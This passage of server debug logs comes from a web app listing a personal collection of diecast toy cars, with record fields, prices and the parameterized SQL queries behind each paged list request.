      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 110,
      model_name: 'Volvo FMX low bed truck Trailor',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-16T18:30:00.000Z',
      price: '750.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 109,
      model_name: 'Volvo excavator EC950F',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-24T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volvo',
      vehicle_brand_id: 123,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:39:18.074Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:18.074Z server-connect:app Executing action step identify
2026-02-04T06:39:18.074Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:18.074Z server-connect:output identity: 1
2026-02-04T06:39:18.074Z server-connect:app Executing action step restrict
2026-02-04T06:39:18.075Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:18.075Z server-connect:output restrict: undefined
2026-02-04T06:39:18.075Z server-connect:app Executing action step paged
2026-02-04T06:39:18.075Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:18.079Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 38,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 25 },
    current: 1,
    total: 2
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 150,
      model_name: 'Dodge Charge',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-15T18:30:00.000Z',
      price: '199.00',
      brand: 'Jams Toys',
      series: 'Mainline',
      brand_id: 191,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 149,
      model_name: "Fish'd & Chip'd",
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Spider Man',
      vehicle_brand_id: 183,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 148,
      model_name: '92 Jeep Wrangler Sahara',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-22T18:30:00.000Z',
      price: '545.00',
      brand: 'Hotwheels',
      series: 'HW Pop Culture',
      brand_id: 71,
      series_id: 181,
      case: '',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 147,
      model_name: 'Nissan Fairlady Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Pantone',
      brand_id: 71,
      series_id: 180,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 146,
      model_name: 'Lucid Air',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'D',
      vehicle_brand_name: 'Lucid',
      vehicle_brand_id: 184,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 145,
      model_name: 'Lotus Cortina',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Euro',
      brand_id: 71,
      series_id: 179,
      case: 'D',
      vehicle_brand_name: 'Lotus',
      vehicle_brand_id: 185,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 144,
      model_name: 'Datsun 240Z',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Then and now',
      brand_id: 71,
      series_id: 101,
      case: 'C',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 142,
      model_name: 'Nissan 350Z Custom',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 141,
      model_name: 'Nissan Silvia (S15)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 140,
      model_name: '1970 Monte Carlo',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 139,
      model_name: '1970 Road Runner',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Plymouth',
      vehicle_brand_id: 190,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 138,
      model_name: 'Nissan Silvia (S13)',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-11T18:30:00.000Z',
      price: '299.00',
      brand: 'Hotwheels',
      series: 'HW Silver Series',
      brand_id: 71,
      series_id: 176,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 137,
      model_name: '68 Dodge Dart - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Compact Kings',
      brand_id: 71,
      series_id: 149,
      case: 'F',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 136,
      model_name: '21 Ford Bronco - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Hot Trucks',
      brand_id: 71,
      series_id: 97,
      case: 'E',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 135,
      model_name: '23 RAM 1500 - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Reverse Rake',
      brand_id: 71,
      series_id: 150,
      case: 'E',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 134,
      model_name: '58 Chevy Impala - Imported',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-25T18:30:00.000Z',
      price: '450.00',
      brand: 'Hotwheels',
      series: 'HW Rod Squad',
      brand_id: 71,
      series_id: 151,
      case: 'E',
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 133,
      model_name: 'Volkswagen T1',
      release_year: 2026,
      scale: '1:56',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 132,
      model_name: 'Volkwagen classic beetle 1967',
      release_year: 2025,
      scale: '1:54',
      has_real_car: 0,
      purchase_date: '2025-11-30T18:30:00.000Z',
      price: '350.00',
      brand: 'CCA',
      series: 'Mainline',
      brand_id: 158,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 106,
      model_name: '2018 Honda Civic Type R',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Nightspeed',
      brand_id: 71,
      series_id: 164,
      case: 'A',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 105,
      model_name: 'Maserati Shamal',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Factory Fresh',
      brand_id: 71,
      series_id: 145,
      case: 'A',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:39:22.477Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:22.477Z server-connect:app Executing action step identify
2026-02-04T06:39:22.477Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:22.477Z server-connect:output identity: 1
2026-02-04T06:39:22.477Z server-connect:app Executing action step restrict
2026-02-04T06:39:22.477Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:22.478Z server-connect:output restrict: undefined
2026-02-04T06:39:22.478Z server-connect:app Executing action step paged
2026-02-04T06:39:22.478Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:22.480Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 2,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T06:39:28.468Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T06:39:28.469Z server-connect:app Executing action step identify
2026-02-04T06:39:28.469Z server-connect:app options: { provider: 'security' }
2026-02-04T06:39:28.469Z server-connect:output identity: 1
2026-02-04T06:39:28.469Z server-connect:app Executing action step restrict
2026-02-04T06:39:28.469Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T06:39:28.469Z server-connect:output restrict: undefined
2026-02-04T06:39:28.469Z server-connect:app Executing action step paged
2026-02-04T06:39:28.469Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T06:39:28.471Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 23,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 85,
      model_name: 'Masserti Grandturismo Folgore',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-28T18:30:00.000Z',
      price: '399.00',
      brand: 'Matchbox',
      series: 'Moving Parts',
      brand_id: 73,
      series_id: 83,
      case: '',
      vehicle_brand_name: 'Masserti',
      vehicle_brand_id: 157,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 84,
      model_name: 'Nissan Sentra 2016',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-22T18:30:00.000Z',
      price: '167.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 83,
      model_name: 'Nissan Arya Pole to Pole 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 82,
      model_name: ' MBX Turf Hauler II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'MBX',
      vehicle_brand_id: 155,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 81,
      model_name: ' Dodge Durango 2018',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 80,
      model_name: 'Polaris RZR Pro R 4 Sport 2025',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-30T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Polaris ',
      vehicle_brand_id: 154,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 79,
      model_name: 'Subaru J WRX S4 STI 2024',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-15T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Subaru',
      vehicle_brand_id: 153,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 78,
      model_name: 'Ford E Transit 2023',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
